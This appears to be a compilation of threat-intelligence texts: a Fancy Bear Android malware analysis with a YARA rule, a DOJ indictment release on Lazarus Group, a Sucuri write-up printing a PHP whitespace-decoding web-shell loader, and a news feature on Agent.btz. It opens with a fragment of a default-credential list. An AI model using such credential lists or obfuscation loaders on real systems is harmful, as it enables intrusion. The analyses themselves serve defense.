- T1m4dm:T1m4dm
- T1m4dm:T1m@dml1v
- ubnt:ubnt
- user:
- user:megaman
- user:user |
# Update on the Fancy Bear Android Malware (poprd30.apk)
**By Boldizsar Bencsath**
**March 2, 2017**
## About the APK:
The APK file that was investigated by Crowd Strike and us is actually corrupt; unzipping yields two warnings and a CRC Error.
```
$ unzip 6f7523d3019fa190499f327211e01fcb.apk
Archive: 6f7523d3019fa190499f327211e01fcb.apk
warning [6f7523d3019fa190499f327211e01fcb.apk]: 1 extra byte at beginning or within zipfile (attempting to process anyway)
file #1: bad zipfile offset (local header sig): 1 (attempting to re-compensate)
inflating: META-INF/MANIFEST.MF
inflating: META-INF/CERT.SF
inflating: META-INF/CERT.RSA
inflating: AndroidManifest.xml
inflating: classes.dex
extracting: res/drawable-hdpi/dmk.png
extracting: res/drawable-hdpi/ic_launcher.png
extracting: res/drawable-mdpi/fon_1.jpg
extracting: res/drawable-mdpi/fon_2.png
extracting: res/drawable-mdpi/fon_3.png
extracting: res/drawable-mdpi/ic_action_search.png
extracting: res/drawable-mdpi/ic_launcher.png
extracting: res/drawable-mdpi/panel_2.gif
extracting: res/drawable-mdpi/panel_4.png
extracting: res/drawable-mdpi/panel_5.png
extracting: res/drawable-mdpi/panel_6.png
extracting: res/drawable-mdpi/panel_7.png
extracting: res/drawable-mdpi/warnings.png bad CRC 73cded37 (should be 902e9cdb)
file #19: bad zipfile offset (local header sig): 660433 (attempting to re-compensate)
extracting: res/drawable-xhdpi/ic_launcher.png
extracting: res/drawable-xxhdpi/ic_launcher.png
inflating: res/layout/activity_reg_form.xml
inflating: res/layout/byleten.xml
inflating: res/layout/dan_dmk.xml
inflating: res/layout/dan_meteo.xml
inflating: res/layout/dan_vr_2.xml
inflating: res/layout/meteo_podg_form.xml
inflating: res/layout/o_avtope_form.xml
inflating: res/layout/pomow_form.xml
inflating: res/layout/promt.xml
extracting: resources.arsc
```
In this form, it is not possible to install the APK; trying so results in the phone yielding the following error message:
```
$ adb install 6f7523d3019fa190499f327211e01fcb.apk
Failed to install 6f7523d3019fa190499f327211e01fcb.apk: Failure [INSTALL_PARSE_FAILED_UNEXPECTED_EXCEPTION: Failed to parse /data/app/vmdl135131206.tmp/base.apk: AndroidManifest.xml]
```
From the error messages, we suspected that an extra byte somehow ended up in the APK file. The repair process consisted of finding and removing an extra byte from the file “warnings.png.” By changing only this byte and getting a valid APK file, this might be the original file. After repair, we got the following file.
```
$ sha256sum REPAIRED.apk
5b6ea28333399a73475027328812fb42259c12bb24b6650e5def94f4104f385e REPAIRED.apk
```
```
$ unzip -vt REPAIRED.apk
Archive: REPAIRED.apk
testing: META-INF/MANIFEST.MF OK
testing: META-INF/CERT.SF OK
testing: META-INF/CERT.RSA OK
testing: AndroidManifest.xml OK
testing: classes.dex OK
testing: res/drawable-hdpi/dmk.png OK
testing: res/drawable-hdpi/ic_launcher.png OK
testing: res/drawable-mdpi/fon_1.jpg OK
testing: res/drawable-mdpi/fon_2.png OK
testing: res/drawable-mdpi/fon_3.png OK
testing: res/drawable-mdpi/ic_action_search.png OK
testing: res/drawable-mdpi/ic_launcher.png OK
testing: res/drawable-mdpi/panel_2.gif OK
testing: res/drawable-mdpi/panel_4.png OK
testing: res/drawable-mdpi/panel_5.png OK
testing: res/drawable-mdpi/panel_6.png OK
testing: res/drawable-mdpi/panel_7.png OK
testing: res/drawable-mdpi/warnings.png OK
testing: res/drawable-xhdpi/ic_launcher.png OK
testing: res/drawable-xxhdpi/ic_launcher.png OK
testing: res/layout/activity_reg_form.xml OK
testing: res/layout/byleten.xml OK
testing: res/layout/dan_dmk.xml OK
testing: res/layout/dan_meteo.xml OK
testing: res/layout/dan_vr_2.xml OK
testing: res/layout/meteo_podg_form.xml OK
testing: res/layout/o_avtope_form.xml OK
testing: res/layout/pomow_form.xml OK
testing: res/layout/promt.xml OK
testing: resources.arsc OK
```
No errors detected in compressed data of REPAIRED.apk.
```
$ jarsigner -verbose -verify REPAIRED.apk
```
```
s 2215 Thu Feb 28 18:33:46 CET 2008 META-INF/MANIFEST.MF
2268 Thu Feb 28 18:33:46 CET 2008 META-INF/CERT.SF
1714 Thu Feb 28 18:33:46 CET 2008 META-INF/CERT.RSA
sm 6108 Thu Feb 28 18:33:46 CET 2008 AndroidManifest.xml
sm 543000 Thu Feb 28 18:33:46 CET 2008 classes.dex
sm 7047 Thu Feb 28 18:33:46 CET 2008 res/drawable-hdpi/dmk.png
sm 1703 Thu Feb 28 18:33:46 CET 2008 res/drawable-hdpi/ic_launcher.png
sm 68364 Thu Feb 28 18:33:46 CET 2008 res/drawable-mdpi/fon_1.jpg
sm 153893 Thu Feb 28 18:33:46 CET 2008 res/drawable-mdpi/fon_2.png
sm 182654 Thu Feb 28 18:33:46 CET 2008 res/drawable-mdpi/fon_3.png
sm 311 Thu Feb 28 18:33:46 CET 2008 res/drawable-mdpi/ic_action_search.png
sm 1853 Thu Feb 28 18:33:46 CET 2008 res/drawable-mdpi/ic_launcher.png
sm 2241 Thu Feb 28 18:33:46 CET 2008 res/drawable-mdpi/panel_2.gif
sm 4420 Thu Feb 28 18:33:46 CET 2008 res/drawable-mdpi/panel_4.png
sm 450 Thu Feb 28 18:33:46 CET 2008 res/drawable-mdpi/panel_5.png
sm 1448 Thu Feb 28 18:33:46 CET 2008 res/drawable-mdpi/panel_6.png
sm 551 Thu Feb 28 18:33:46 CET 2008 res/drawable-mdpi/panel_7.png
sm 25089 Thu Feb 28 18:33:46 CET 2008 res/drawable-mdpi/warnings.png
sm 2545 Thu Feb 28 18:33:46 CET 2008 res/drawable-xhdpi/ic_launcher.png
sm 4845 Thu Feb 28 18:33:46 CET 2008 res/drawable-xxhdpi/ic_launcher.png
sm 4356 Thu Feb 28 18:33:46 CET 2008 res/layout/activity_reg_form.xml
sm 20332 Thu Feb 28 18:33:46 CET 2008 res/layout/byleten.xml
sm 10584 Thu Feb 28 18:33:46 CET 2008 res/layout/dan_dmk.xml
sm 20852 Thu Feb 28 18:33:46 CET 2008 res/layout/dan_meteo.xml
sm 10208 Thu Feb 28 18:33:46 CET 2008 res/layout/dan_vr_2.xml
sm 2772 Thu Feb 28 18:33:46 CET 2008 res/layout/meteo_podg_form.xml
sm 2076 Thu Feb 28 18:33:46 CET 2008 res/layout/o_avtope_form.xml
sm 2944 Thu Feb 28 18:33:46 CET 2008 res/layout/pomow_form.xml
sm 952 Thu Feb 28 18:33:46 CET 2008 res/layout/promt.xml
sm 13296 Thu Feb 28 18:33:46 CET 2008 resources.arsc
```
s = signature was verified
m = entry is listed in manifest
k = at least one certificate was found in keystore
i = at least one certificate was found in identity scope
Signed by “[email protected], CN=Android, OU=Android, O=Android, L=Mountain View, ST=California, C=US”
Digest algorithm: SHA1
Signature algorithm: SHA1withRSA, 2048-bit key
jar verified.
**Warning:** This jar contains entries whose certificate chain is not validated. This jar contains signatures that do not include a timestamp. Without a timestamp, users may not be able to validate this jar after the signer certificate’s expiration date (2035-07-17) or after any future revocation date. Re-run with the -verbose and -certs options for more details.
## About the RC4/Encryption Key:
By decompiling and manually “refactoring” the encryption algorithm, we discovered a “textbook” RC4 implementation as the encryption routine, which uses the hard-coded key as a first part to the encryption key, with the second part coming as a parameter from the function call. Analyzing the XAgent linux sample, which also contained this RC4 key, we did not find an RC4 implementation, but a simple XOR based encryption routine.
We found one function call that used the encryption key from the APK as input, but surprisingly, it was not used as a key parameter, but as an input parameter. For checking HTTP GET and POST messages, a different XOR based check routine can be found, and a Base64-like encoding. After decoding, the XOR based routine checks the HTTP result’s body. It xors the 4-11 bytes with the first 4 bytes as a key. It then should be equal to a hardcoded value (7 bytes) which the sample uses to check whether the recv succeeded or not. These XAgent linux samples are very similar to a Windows version that has been found in November 2013 (5f6b2a0d1d966fc4f1ed292b46240767f4acb06c13512b0061b434ae2a692fa1).
## Recommended YARA for the Linux Versions:
```yara
rule sofacy_xagent {
meta:
author = "AKG"
description = "Sofacy - XAgent"
strings:
$service = "ksysdefd"
$x1 = "AgentKernel"
$x2 = "Cryptor"
$x3 = "AgentModule"
$x4 = "ChannelController"
$x5 = "RemoteKeylogger"
$a1 = "UNCORRECT DISPLAY NAME"
$a2 = "Keylogger started"
$a3 = "Keylog thread exit"
$a4 = "Keylogger yet started"
condition:
$service or (2 of ($x)) or (2 of ($a))
}
``` |
# North Korean Regime-Backed Programmer Charged With Conspiracy to Conduct Multiple Cyber Attacks and Intrusions
**September 6, 2018**
**Department of Justice**
**Office of Public Affairs**
A criminal complaint was unsealed today charging Park Jin Hyok (박진혁; a/k/a Jin Hyok Park and Pak Jin Hek), a North Korean citizen, for his involvement in a conspiracy to conduct multiple destructive cyberattacks around the world resulting in damage to massive amounts of computer hardware, and the extensive loss of data, money, and other resources (the “Conspiracy”).
The complaint alleges that Park was a member of a government-sponsored hacking team known to the private sector as the “Lazarus Group,” and worked for a North Korean government front company, Chosun Expo Joint Venture (a/k/a Korea Expo Joint Venture or “KEJV”), to support the DPRK government’s malicious cyber actions.
The Conspiracy’s malicious activities include the creation of the malware used in the 2017 WannaCry 2.0 global ransomware attack; the 2016 theft of $81 million from Bangladesh Bank; the 2014 attack on Sony Pictures Entertainment (SPE); and numerous other attacks or intrusions on the entertainment, financial services, defense, technology, and virtual currency industries, academia, and electric utilities.
The charges were announced by Attorney General Jeff Sessions, FBI Director Christopher A. Wray, Assistant Attorney General for National Security John C. Demers, First Assistant United States Attorney for the Central District of California Tracy Wilkison, and Assistant Director in Charge Paul D. Delacourt of the FBI’s Los Angeles Field Office.
In addition to these criminal charges, Treasury Secretary Steven Mnuchin announced today that the Department of the Treasury’s Office of Foreign Assets Control (OFAC) designated Park and KEJV under Executive Order 13722 based on the malicious cyber and cyber-enabled activity outlined in the criminal complaint.
“Today’s announcement demonstrates the FBI’s unceasing commitment to unmasking and stopping the malicious actors and countries behind the world’s cyberattacks,” said FBI Director Christopher Wray. “We stand with our partners to name the North Korean government as the force behind this destructive global cyber campaign. This group’s actions are particularly egregious as they targeted public and private industries worldwide – stealing millions of dollars, threatening to suppress free speech, and crippling hospital systems. We’ll continue to identify and illuminate those responsible for malicious cyberattacks and intrusions, no matter who or where they are.”
“The scale and scope of the cyber-crimes alleged by the Complaint is staggering and offensive to all who respect the rule of law and the cyber norms accepted by responsible nations,” said Assistant Attorney General Demers. “The Complaint alleges that the North Korean government, through a state-sponsored group, robbed a central bank and citizens of other nations, retaliated against free speech in order to chill it half a world away, and created disruptive malware that indiscriminately affected victims in more than 150 other countries, causing hundreds of millions, if not billions, of dollars’ worth of damage. The investigation, prosecution, and other disruption of malicious state-sponsored cyber activity remains among the highest priorities of the National Security Division and I thank the FBI agents, DOJ prosecutors, and international partners who have put years of effort into this investigation.”
“The complaint charges members of this North Korean-based conspiracy with being responsible for cyberattacks that caused unprecedented economic damage and disruption to businesses in the United States and around the globe,” said First Assistant United States Attorney Tracy Wilkison. “The scope of this scheme was exposed through the diligent efforts of FBI agents and federal prosecutors who were able to unmask these sophisticated crimes through sophisticated means. They traced the attacks back to the source and mapped their commonalities, including similarities among the various programs used to infect networks across the globe. These charges send a message that we will track down malicious actors no matter how or where they hide. We will continue to pursue justice for those responsible for the huge monetary losses and attempting to compromise the national security of the United States.”
“We will not allow North Korea to undermine global cybersecurity to advance its interests and generate illicit revenues in violation of our sanctions,” said Treasury Secretary Steven Mnuchin. “The United States is committed to holding the regime accountable for its cyberattacks and other crimes and destabilizing activities.”
Park is charged with one count of conspiracy to commit computer fraud and abuse, which carries a maximum sentence of five years in prison, and one count of conspiracy to commit wire fraud, which carries a maximum sentence of 20 years in prison.
## About the Defendant Park and Chosun Expo Joint Venture
According to the allegations contained in the criminal complaint, which was filed on June 8, 2018, in Los Angeles federal court, and posted today: Park Jin Hyok was a computer programmer who worked for over a decade for Chosun Expo Joint Venture (a/k/a Korea Expo Joint Venture or “KEJV”). Chosun Expo Joint Venture had offices in China and the DPRK, and is affiliated with Lab 110, a component of DPRK military intelligence. In addition to the programming done by Park and his group for paying clients around the world, the Conspiracy also engaged in malicious cyber activities. Security researchers that have independently investigated these activities referred to this hacking team as the “Lazarus Group.” The Conspiracy’s methods included spear-phishing campaigns, destructive malware attacks, exfiltration of data, theft of funds from bank accounts, ransomware extortion, and propagating “worm” viruses to create botnets.
## The Conspiracy’s Cyber Attacks, Heists, and Intrusions
The complaint describes a broad array of the Conspiracy’s alleged malicious cyber activities, both successful and unsuccessful, in the United States and abroad, with a particular focus on four specific examples.
### Targeting the Entertainment Industry
In November 2014, the conspirators launched a destructive attack on Sony Pictures Entertainment (SPE) in retaliation for the movie “The Interview,” a farcical comedy that depicted the assassination of the DPRK’s leader. The conspirators gained access to SPE’s network by sending malware to SPE employees, and then stole confidential data, threatened SPE executives and employees, and damaged thousands of computers. Around the same time, the group sent spear-phishing messages to other victims in the entertainment industry, including a movie theater chain and a U.K. company that was producing a fictional series involving a British nuclear scientist taken prisoner in DPRK.
### Targeting Financial Services
In February 2016, the Conspiracy stole $81 million from Bangladesh Bank. As part of the cyber-heist, the Conspiracy accessed the bank’s computer terminals that interfaced with the Society for Worldwide Interbank Financial Telecommunication (SWIFT) communication system after compromising the bank’s computer network with spear-phishing emails, then sent fraudulently authenticated SWIFT messages directing the Federal Reserve Bank of NY to transfer funds from Bangladesh to accounts in other Asian countries. The Conspiracy attempted to and did gain access to several other banks in various countries from 2015 through 2018 using similar methods and “watering hole attacks,” attempting the theft of at least $1 billion through such operations.
### Targeting of U.S. Defense Contractors
In 2016 and 2017, the Conspiracy targeted a number of U.S. defense contractors, including Lockheed Martin, with spear-phishing emails. These malicious emails used some of the same aliases and accounts seen in the SPE attack, at times accessed from North Korean IP addresses, and contained malware with the same distinct data table found in the malware used against SPE and certain banks, the complaint alleges. The spear-phishing emails sent to the defense contractors were often sent from email accounts that purported to be from recruiters at competing defense contractors, and some of the malicious messages made reference to the Terminal High Altitude Area Defense (THAAD) missile defense system deployed in South Korea. The attempts to infiltrate the computer systems of Lockheed Martin, the prime contractor for the THAAD missile system, were not successful.
### Creation of WannaCry 2.0
In May 2017, a ransomware attack known as WannaCry 2.0 infected hundreds of thousands of computers around the world, causing extensive damage, including significantly impacting the United Kingdom’s National Health Service. The Conspiracy is connected to the development of WannaCry 2.0, as well as two prior versions of the ransomware, through similarities in form and function to other malware developed by the hackers, and by spreading versions of the ransomware through the same infrastructure used in other cyber-attacks.
Park and his co-conspirators were linked to these attacks, intrusions, and other malicious cyber-enabled activities through a thorough investigation that identified and traced: email and social media accounts that connect to each other and were used to send spear-phishing messages; aliases, malware “collector accounts” used to store stolen credentials; common malware code libraries; proxy services used to mask locations; and North Korean, Chinese, and other IP addresses. Some of this malicious infrastructure was used across multiple instances of the malicious activities described herein. Taken together, these connections and signatures—revealed in charts attached to the criminal complaint—show that the attacks and intrusions were perpetrated by the same actors.
## Accompanying Mitigation Efforts
Throughout the course of the investigation, the FBI and the Department provided specific information to victims about how they had been targeted or compromised, as well as information about the tactics and techniques used by the conspiracy with the goals of remediating any intrusion and preventing future intrusions. That direct sharing of information took place in the United States and in foreign countries, often with the assistance of foreign law enforcement partners. The FBI also has collaborated with certain private cybersecurity companies by sharing and analyzing information about the intrusion patterns used by the members of the conspiracy.
In connection with the unsealing of the criminal complaint, the FBI and prosecutors provided cybersecurity providers and other private sector partners detailed information on accounts used by the Conspiracy in order to assist these partners in their own independent investigative activities and disruption efforts.
The maximum potential sentences in this case are prescribed by Congress and are provided here for informational purposes only, as any sentencings of the defendant will be determined by the assigned judge.
This case is being prosecuted by Assistant United States Attorneys Stephanie S. Christensen, Anthony J. Lewis, and Anil J. Antony of the United States Attorney’s Office for the Central District of California, and DOJ Trial Attorneys David Aaron and Scott Claffee of the National Security Division’s Counterintelligence and Export Control Section. The Criminal Division’s Office of International Affairs provided assistance throughout this investigation, as did many of the FBI’s Legal Attachés, and foreign authorities around the world.
The charges contained in the criminal complaint are merely accusations and the defendant is presumed innocent unless and until proven guilty. |
# Whitespace Steganography Conceals Web Shell in PHP Malware
Denis Sinegubko
February 2, 2021
Last November, we wrote about how attackers are using JavaScript injections to load malicious code from legitimate CSS files. At first glance, these injections didn’t appear to contain anything except for some benign CSS rules. A more thorough analysis of the .CSS file revealed 56,964 seemingly empty lines containing combinations of invisible tab (0x09), space (0x20), and line feed (0x0A) characters, which were converted to binary representation of characters and then to the text of an executable JavaScript code.
It didn’t take long before we found the same approach used in PHP malware. Here’s what our malware analyst Liam Smith discovered while recently working on a site containing multiple backdoors and webshells uploaded by hackers.
## Suspicious license.php file
One of the files Liam found looked a bit strange: `system/license.php`. As the filename implies, it contains text for a license agreement — more specifically, text for GNU General Public License version 3. The license text is placed inside a multi-line PHP comment. However, on line 134 we see a gap between two comments that contains executable PHP code.
Hiding malicious code between comment blocks is a common obfuscation technique used by hackers. The code is obviously malicious but, after first glance, it was not clear whether the malware was complete or had any other parts in that file. It’s easy to notice that it tries to read itself and do something with its contents using `file_get_contents(basename($_SERVER[‘PHP_SELF’]))`. A quick visual inspection of the file, however, didn’t reveal any other sections that can be converted into working PHP code.
## Analysis of the Visible Malicious Code
To understand what exactly the malicious code does, we analyzed each statement piece by piece. The first clause splits the file contents into sections divided by semicolon characters and assigns the last section to the `$cache` variable. In plain words, this code works with the part of the file found after the last “;”. It turns out that the final semicolon in the file is also the last character of the license agreement: “But first, please read <http://www.gnu.org/philosophy/why-not-lgpl.html>;”. In the original license agreement the last character is a period, indicating that the file was intentionally modified by the attacker for this clause.
There is nothing clearly visible after this last semicolon. To understand what’s being done with the trailing part of the file, we need to analyze the next section of malware clauses.
## Whitespace Decoder
```php
for($i=0;$i<strlen($cache);$i++){
$out.=chr(bindec(str_replace(array(chr(9),chr(32)),array('1','0'),substr($cache,$i,8))));
$i+= 7;
}
```
Here we can see that the code reads the rest of the file in chunks of eight characters at a time (`substr($cache,$i,8)`) and converts tabs (9) and spaces (32) into ones and zeroes. The resulting binary string is then converted to a decimal number (`bindec`) and then to a character using the `chr()` function. This way, octet by octet, the rest of the file’s whitespaces are converted into a visible string.
At this point, the string is neither meaningful nor executable. To completely decode and execute the payload, the following combination of functions are used: `base64_decode(str_rot13(gzdecode(…))`. As a backup way to execute the payload, the malware also tries to save the decoded contents to a file named “ “ (just a space — to make it less visible in file listings) and includes it on the fly using `include $cachepart;`. Afterwards, this file is deleted in an attempt to evade detection. That being said, we have reports that for some reason some of these blank-named files can still be found on compromised sites.
## Revealing the Hidden Payload
Now that we know that this malware is looking for any tabs and spaces after the last semicolon, let's find and decode that hidden payload. As it turns out, there are almost 300 Kilobytes of invisible tabs and spaces at the end of the last line in `license.php` file — compared to only 30 Kb in the visible license text. These invisible characters can be revealed if you check the hex code of the last line or select content after the last “;” in a text editor (with word wrapping on).
While this picture resembles Morse code just like the similar obfuscation found in JavaScript malware that described last November, this sample doesn’t use line feed characters (0x0A). This means that the invisible content doesn’t create a ridiculous amount of suspicious empty lines at the bottom of the files.
When we use the malware’s algorithm to decode the whitespace, we get a 74Kb file of a web shell that provides hackers with tools to work with files and databases on the server, collect sensitive information, infect files, and conduct brute force attacks. It can also work as a server console or anonymizer to hide the attackers' real IP address.
## Origin of the Algorithm
As frequently revealed in our investigations, many of the tricks and algorithms found in malware are not created by hackers. Much of the code is pre-existing and simply copied from sites like StackOverflow. A quick search for the code snippet of this particular whitespace decoder revealed a 2019 article on the popular Russian language IT community site Habr.ru. The article’s author shared their proof of concept for PHP whitespace obfuscation, which had been inspired by a previous article on obfuscation published back in 2011 that discussed the concept of encoding using only tabs and spaces. The malware author simply took the whitespace decoder part from that article without any modifications or changes, then added some code to work with additional layers of obfuscation and to execute the decoded payload.
## Malicious Uploader
It’s quite rare to find only one type of a backdoor on a compromised server. There are usually several varieties responsible for specific tasks. For example, the inconspicuously named `license.php` file is intended to stay under the radar for a long time, providing access to the compromised site even when other malware is found and removed. The files or code that attackers initially plant on a server in order to infect the site are another type of backdoor. Usually found as a small file in the compromised environment, these backdoors either allow attackers to execute arbitrary code or create specific files. They don’t even need to be very stealthy or heavily obfuscated — hackers often delete them after use to cover up their tracks. In this particular case, we found malware uploaders which create fake `license.php` files and inject malware into `.htaccess` and `index.php` files.
## Conclusion
While making malicious content invisible to the naked eye seems like a good idea, the whitespace obfuscation used in this malware is far from ideal. It contains an easily detectable section of PHP — and removing it renders the invisible payload unusable. Another downside of this approach is the bloated size of the file. The malware increased the size of the file 10 times — making it significantly more suspicious.
Obfuscation techniques are commonly used by hackers to hide code and conceal malicious behavior. There are hundreds of known types of obfuscations, and attackers are always looking for new ways to avoid detection. The good news for webmasters is you don’t have to be able to decode or understand exactly how they work to find and remove malware. A simple integrity control solution is enough to detect unwanted modifications in your files. Whenever you review changes and are not sure whether it’s malicious or not, the safest approach is to revert the file to the known clean version — you have a backup, right? |
# Cyber-intruder Sparks Response, Debate
By Ellen Nakashima
The first sign of trouble was a mysterious signal emanating from deep within the U.S. military’s classified computer network. Like a human spy, a piece of covert software in the supposedly secure system was “beaconing” — trying to send coded messages back to its creator.
An elite team working in a windowless room at the National Security Agency soon determined that a rogue program had infected a classified network, kept separate from the public Internet, that harbored some of the military’s most important secrets, including battle plans used by commanders in Afghanistan and Iraq.
The government’s top cyberwarriors couldn’t immediately tell who created the program or why, although they would come to suspect the Russian intelligence service. Nor could they tell how long it had been there, but they soon deduced the ingeniously simple means of transmission, according to several current and former U.S. officials. The malicious software, or malware, caught a ride on an everyday thumb drive that allowed it to enter the secret system and begin looking for documents to steal. Then it spread by copying itself onto other thumb drives.
Pentagon officials consider the incident, discovered in October 2008, to be the most serious breach of the U.S. military’s classified computer systems. The response, over the past three years, transformed the government’s approach to cybersecurity, galvanizing the creation of a new military command charged with bolstering the military’s computer defenses and preparing for eventual offensive operations. The efforts to neutralize the malware, through an operation code-named Buckshot Yankee, also demonstrated the importance of computer espionage in devising effective responses to cyberthreats.
But the breach and its aftermath also have opened a rare window into the legal concerns and bureaucratic tensions that affect military operations in an arena where the United States faces increasingly sophisticated threats. Like the running debates over the use of drones and other evolving military technologies, rapid advances in computing capability are forcing complex deliberations over the appropriate use of new tools and weapons.
This article, which contains previously undisclosed information on the extent of the infection, the nature of the response and the fractious policy debate it inspired, is based on interviews with two dozen current and former U.S. officials and others with knowledge of the operation. Many of them assert that while the military has a growing technical capacity to operate in cyberspace, it lacks authority to defend civilian networks effectively.
“The danger is not so much that cyber capabilities will be used without warning by some crazy general,” said Stewart A. Baker, a former NSA general counsel. “The real worry is they won’t be used at all because the generals don’t know what the rules are.”
## A Furious Investigation
The malware that provoked Buckshot Yankee had circulated on the Internet for months without causing alarm, as just one threat among many. Then it showed up on the military computers of a NATO government in June 2008, according to Mikko Hypponen, chief research officer of a Finnish firm that analyzed the intruder. He dubbed it “Agent.btz,” the next name in a sequence used at his company, F-Secure. “Agent.bty” was taken.
Four months later, in October 2008, NSA analysts discovered the malware on the Secret Internet Protocol Router Network, which the Defense and State departments use to transmit classified material but not the nation’s most sensitive information. Agent.btz also infected the Joint Worldwide Intelligence Communication System, which carries top-secret information to U.S. officials throughout the world.
Such networks are typically “air-gapped” — physically separated from the free-for-all of the Internet, with its countless varieties of malicious code, such as viruses and worms, created to steal information or damage systems. Officials had long been concerned with the unauthorized removal of classified material from secure networks; now malware had gotten in and was attempting to communicate to the broader Internet.
One likely scenario is that an American soldier, official or contractor in Afghanistan — where the largest number of infections occurred — went to an Internet cafe, used a thumb drive in an infected computer and then inserted the drive in a classified machine. “We knew fairly confidently that the mechanism had been somebody going to a kiosk and doing something they shouldn’t have as opposed to somebody who had been able to get inside the network,” one former official said.
Once a computer became infected, any thumb drive used on the machine acquired a copy of Agent.btz, ready for propagation to other computers, like bees carrying pollen from flower to flower. But to steal content, the malware had to communicate with a master computer for instructions on what files to remove and how to transmit them. These signals, or beacons, were first spotted by a young analyst in the NSA’s Advanced Networks Operations (ANO) team, a group of mostly 20- and 30-something computing experts assembled in 2006 to hunt for suspicious activity on the government’s secure networks. Their office was a nondescript windowless room in Ops1, a boxy, low-rise building on the 660-acre campus of the NSA.
ANO’s operators are among 30,000 civilian and military personnel at NSA, whose main mission is to collect foreign communications intelligence on enemies abroad. The agency is forbidden to gather intelligence on Americans or on U.S. soil without special authorization from a court whose proceedings are largely secret.
NSA, whose employees hold 800 PhDs in mathematics, science and engineering, is based at Fort Meade, an Army base between Baltimore and Washington that has the world’s largest collection of supercomputers as well as its own police force and silicon-chip plant.
The ANO operators determined that the breach was serious after a few days of furious investigation. On the afternoon of Friday, Oct. 24, Richard C. Schaeffer Jr., then the NSA’s top computer systems protection officer, was in an agency briefing with President George W. Bush, who was making his last visit to the NSA before leaving office. An aide handed Schaeffer a note alerting him to the breach.
At 4:30 p.m., Schaeffer entered the office of Gen. Keith Alexander, the NSA director and a veteran military intelligence officer. Alexander recalled that Schaeffer minced no words. “We’ve got a problem,” he said.
That evening, NSA officials briefed top levels of the U.S. government: the chairman of the Joint Chiefs of Staff, the deputy defense secretary and senior congressional leaders, telling them about the incident. Working through the night, the ANO operators pursued a potential fix. Since Agent.btz was beaconing out in search of instructions, perhaps they could devise a way to order the malware to shut itself down. The next morning, in a room strewn with empty pizza boxes and soda cans, they sketched out their plan on a white board. But before it could be put into action, the NSA team had to make sure it would not affect the performance of other software, including the programs that battlefield commanders use for intelligence and communications. They needed to run a test.
“Our objective,” recalled Schaeffer, “was first, do no harm.”
That afternoon, the team members loaded a computer server into a truck and drove it to a nearby office of the Defense Information Systems Agency, which operates the department’s long-haul telecommunications and satellite networks. At 2:30 p.m. they activated a program designed to recognize the beaconing of Agent.btz and respond. Soon after, the malware on the test server fell into permanent slumber.
Devising the technical remedy was only the first step. Defeating the threat required neutralizing Agent.btz everywhere it had spread on government networks, a grueling process that involved isolating individual computers, taking them offline, cleaning them, and reformatting hard drives.
A key player in Buckshot Yankee was NSA’s Tailored Access Operations (TAO), a secretive unit dating to the early 1990s that specialized in intelligence operations overseas focused on gathering sensitive technical information. These specialists ventured outside the military’s networks to look for Agent.btz in a process called “exploitation” or electronic spying.
The TAO identified new variants of the malware and helped network defenders prepare to neutralize them before they infected military computers. “It’s the ability to look outside our wire,” said one military official.
Officials debated whether to use offensive tools to neutralize the malware on non-military networks, including those in other countries. The military’s offensive cyber unit, Joint Functional Component Command — Network Warfare, proposed some options for doing so. Senior officials rejected them on the grounds that Agent.btz appeared to be an act of espionage, not an outright attack, and didn’t justify such an aggressive response, according to those familiar with the conversations.
As the NSA worked to neutralize Agent.btz on its government computers, Strategic Command, which oversees deterrence strategy for nuclear weapons, space and cyberspace, raised the military’s information security threat level. A few weeks later, in November, an order went out banning the use of thumb drives across the Defense Department worldwide. It was the most controversial order of the operation.
Agent.btz had spread widely among military computers around the world, especially in Iraq and Afghanistan, creating the potential for major losses of intelligence. Yet the ban generated backlash among officers in the field, many of whom relied on the drives to download combat imagery or share after-action reports.
The NSA and the military investigated for months how the infection occurred. They retrieved thousands of thumb drives, many of which were infected. Much energy was spent trying to find “Patient Zero,” officials said. “It turned out to be too complicated,” said one. “We could never bring it down to as clear as . . . ‘that’s the thumb drive.’ ”
The rate of new infections finally subsided in early 2009. Officials say no evidence emerged that Agent.btz succeeded in communicating with a master computer or in putting secret documents in enemy hands. The ban on thumb drives has been partially lifted because other security measures have been put in place.
## ‘A Great Catalyst’
Buckshot Yankee bolstered the argument for creating Cyber Command, a new unit designed to protect the military’s computer and communications systems. It gave NSA Director Alexander the platform to press the case, advocated by others, that the new command should be able to use the NSA’s capabilities to obtain foreign intelligence to defend the military’s systems. “It was a great catalyst,” said Alexander, although the effort later faced questions about whether the head of the largest and most secretive intelligence agency should also lead the new organization.
The new organization, which has a staff of 750 and a budget of $155 million, brings together the Joint Task Force-Global Network Operations, which carried out the bulk of the cleanup work under Buckshot Yankee, and the Network Warfare unit, the military’s offensive cyber arm. It began full operations on Oct. 31, 2010, with Alexander as its head.
But the creation of Cyber Command did not resolve several key debates over the national response to cyberthreats. Agent.btz provoked renewed discussion among senior officials at the White House and key departments about how to best protect critical private-sector networks. Some officials argued that the military was better equipped than the Department of Homeland Security to respond to a major destructive attack on a power grid or other critical system, but others disagreed.
“Cyber Command and [Strategic Command] were asking for way too much authority” by seeking permission to take “unilateral action inside the United States,” said Gen. James E. Cartwright Jr., who retired as vice chairman of the Joint Chiefs in August.
Officials also debated how aggressive military commanders can be in defending their computer systems. “You have the right of self-defense, but you don’t know how far you can carry it and under what circumstances, and in what places,” Cartwright said. “So for a commander who’s out there in a very ambiguous world looking for guidance, if somebody attacks them, are they supposed to run? Can they respond?”
Questions over the role of offense in cybersecurity deterrence began in the 1990s, if not earlier, said Martin Libicki, a Rand Corp. cyberwarfare expert. One reason it is so difficult to craft rules, he said, is the tendency to cast cyberwar as “good, old-fashioned war in yet another domain.” Unlike conventional and nuclear warfare, cyberattacks generally are enabled only by flaws in the target system, he said.
Another reason it is so difficult, said James A. Lewis, a senior fellow at the Center for Strategic and International Studies, is the overlap between cybersecurity operations and the classified world of intelligence. “The link to espionage is where the nuclear precedent breaks down and makes cyber closer to covert operations,” Lewis said.
By the summer of 2009, Pentagon officials had begun work on a set of rules of engagement, part of a broader cyberdefense effort called Operation Gladiator Phoenix. They drafted an “execute order” under which the Strategic and Cyber commands could direct the operations and defense of military networks anywhere in the world. Initially, the directive applied to critical privately owned computer systems in the United States.
Several conditions had to be met, according to a military official familiar with the draft order. The provocation had to be hostile and directed at the United States, its critical infrastructure or citizens. It had to present the imminent likelihood of death, serious injury or damage that threatened national or economic security. The response had to be coordinated with affected government agencies and combatant commanders. And it had to be limited to actions necessary to stop the attack, while minimizing impacts on non-military computers.
